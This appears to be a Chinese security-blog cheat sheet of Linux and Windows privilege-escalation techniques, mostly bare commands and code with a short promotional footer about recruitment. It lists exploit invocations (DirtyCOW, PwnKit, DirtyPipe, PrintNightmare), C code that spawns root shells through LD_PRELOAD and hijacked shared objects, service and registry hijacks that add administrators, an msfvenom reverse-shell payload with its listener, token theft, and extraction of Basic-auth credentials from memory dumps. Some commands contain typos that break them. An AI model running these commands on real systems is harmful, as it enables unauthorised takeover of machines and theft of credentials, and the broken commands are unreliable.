1. gcc -pthread c0w.c -o c0w; ./c0w; passwd; id
1. CVE-2016-1531.sh;id
1.https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation 2.poc.sh
1. ./traitor-amd64 --exploit kernel:CVE-2022-0847 2.Whoami;id
1../cve-2021-4034
2. Whoami;id
msf > use exploit/windows/local/ms14\_058\_track\_popup\_menu msf exploit(ms14\_058\_track\_popup\_menu) > set TARGET < target-id >
msf exploit(ms14\_058\_track\_popup\_menu) > exploit
1. In command prompt type: powershell.exe -nop -ep bypass
2.
In Power Shell prompt type: Import-Module C:\\Users\\User\\Desktop\\Tools\\Tater\\Tater.ps1
3.
In Power Shell prompt type: Invoke-Tater -Trigger 1 -Command "net localgroup
administrators user /add"
4.
To confirm that the attack was successful, in Power Shell prompt type:
net localgroup administrators
1. execute -H -f sysret.exe -a "-pid \[pid\]”
1.https://github.com/outflanknl/PrintNightmare
2.PrintNightmare 10.10.10.10 exp.dll
1.https://github.com/JohnHammond/msdt-follina
2.python3 follina.py -c "notepad"
1.https://github.com/riparino/Task\_Scheduler\_ALPC
1.
sudo ntlmrelayx.py -t ldap://10.0.0.10 --no-wcf-server --escalate-user normal\_user2.
.\\RemotePotato0.exe -m 0 -r 10.0.0.20 -x 10.0.0.20 -p 9999 -s 1
1.
certipy req 'lab.local/cve$:CVEPassword1234\*\\@10.100.10.13' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA2.
Rubeus.exe asktgt /user:"TARGET\_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE\_PASSWORD" /domain:"FQDN\_DOMAIN" /dc:"DOMAIN\_CONTROLLER" /show
1.python ms14-068.py -u user-a-1\\@dom-a.loc -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD\_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}2.
gcc -fPIC -shared -o /tmp/ldreload.so ldreload.c -nostartfiles
3.
sudo LD\_RELOAD=tmp/ldreload.so apache2
4.
id
1. Mkdir /home/user/.config
2.
#include <stdio.h>
#include <stdlib.h>
static void inject() _attribute _((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}3.
gcc -shared -o /home/user/.config/libcalc.so -fPIC/home/user/.config/libcalc.c4. /usr/local/bin/suid-so
5. id
1. RemoteDLLInjector64
Or
MemJect
Or
https://github.com/tomcarver16/BOF-DLL-Inject2.
#define PROCESS\_NAME "csgo.exe"
Or
RemoteDLLInjector64.exe pid C:\\runforpriv.dll
Or
mandllinjection ./runforpriv.dll pid
1.hollow svchost.exe pop.bin
1.sec-shinject PID /path/to/bin
1. echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
> systemupdate.sh;
2. chmod +x systemupdate.sh
3. Wait a while
4. /tmp/bash -p
5. id && whoami
1. echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
> /home/user/systemupdate.sh;
2. touch /home/user/ --checkpoint=1;
3. touch /home/user/ --checkpoint-action=exec=sh\\systemupdate.sh
4. Wait a while
5. /tmp/bash -p
6. id && whoami
1. su - www-data; 2. nginxed-root.sh /var/log/nginx/error.log;
3.
In root user
invoke-rc.d nginx rotate >/dev/null 2>&1
1.
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' >/tmp/service.c;2.
gcc /tmp/services.c -o /tmp/service;3.
export PATH=/tmp:$PATH;4.
/usr/local/bin/sudi-env; id
1.
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +S /tmp/bash)' /bin/sh -c /usr/local/bin/suid-env2; set +x; /tmp/bash -p'
1.
Windows_dll.c:
cmd.exe /k net localgroup administrators user /add2.
x86_64-w64-mingw32-gcc windows_dll.c -shared -o hijackme.dll3.
sc stop dllsvc & sc start dllsvc
1.
sc config daclsvc binpath= "net localgroup administrators user /add"2.
sc start daclsvc
1.
msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o
common.exe2.
Place common.exe in ‘C:\\Program Files\\Unquoted Path Service’.3.
sc start unquotedsvc
1.
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /tREG_EXPAND_SZ /d c:\temp\x.exe /f
2.
sc start regsvc
1.
copy /y c:\\Temp\\x.exe "c:\\Program Files\\File Permissions Service\\filepermservice.exe"2.
sc start filepermsvc
1.
In Metasploit (msf > prompt) type: use multi/handlerIn Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse_tcp
In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address]
In Metasploit (msf > prompt) type: run
Open an additional command prompt and type:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f exe -o
program.exe
2.
Place program.exe in ‘C:\\Program Files\\Autorun Program’.
1.
msfvenom -p windows/exec CMD='net localgroup
administrators user /add' -f msi-nouac -o setup.msi2.
msiexec /quiet /qn /i C:\\Temp\\setup.msi
Or
SharpUp.exe AlwaysInstallElevated
1.
.load C:\\dev\\PrivEditor\\x64\\Release\\PrivEditor.dll
2.
!rmpriv
1.
Conjure-LSASS
Or
syscall_enable_priv 20
1.injectEtwBypass pid
PrimaryTokenTheft.exe pid
Or
TokenPlaye.exe --impersonate --pid pid
1.start /realtime SomeCpuIntensiveApp.exe
1.Just only compile and run SeManageVolumeAbuse
1.WRITE_OWNER access to a resource, including files and folders.
2.Run for privilege escalation
1\. Launch PowerShell/ISE with the SeRestore privilege present. 2\. Enable the privilege with Enable-SeRestorePrivilege).
3\. Rename utilman.exe to utilman.old
4\. Rename cmd.exe to utilman.exe
5\. Lock the console and press Win+U
1.
In Metasploit (msf > prompt) type: use auxiliary/server/capture/http_basic
In Metasploit (msf > prompt) type: set uripath x
In Metasploit (msf > prompt) type: run2.
In taskmgr and right-click on the “iexplore.exe” in the “Image Name” column
and select “Create Dump File” from the popup menu.3.
strings /root/Desktop/iexplore.DMP | grep "Authorization: Basic"
Select the Copy the Base64 encoded string.
In command prompt type: echo -ne [Base64 String] | base64 -d
1.HIBR2BIN /PLATFORM X64 /MAJOR 6 /MINOR 1 /INPUT hiberfil.sys /OUTPUT uncompressed.bin
1.
.load C:\\dev\\PrivEditor\\x64\\Release\\PrivEditor.dll2.
TrustExec.exe -m exec -c "whoami /priv" -f
1\. takeown.exe /f "%windir%\\system32" 2\. icalcs.exe "%windir%\\system32" /grant "%username%":F
3\. Rename cmd.exe to utilman.exe
4\. Lock the console and press Win+U
1.
PSBits
Or
PrivFu
2.
psexec.exe -i -s -d cmd.exe
1.
.load C:\\dev\\PrivEditor\\x64\\Release\\PrivEditor.dll
Or
CredManBOF
2.TrustExec.exe -m exec -c "whoami /priv" -f
同时也将文章汇总成了markdown笔记,方便大家留存在脱网环境或者项目中查阅使用,公众号回复"20230512",即可获取。
2023Hvv大招募,蓝队中高级位置还有很多!参加的师傅扫描下面二维码提交简历,也可以添加下面的微信私信回复"hvv",拉你入hvv项目群!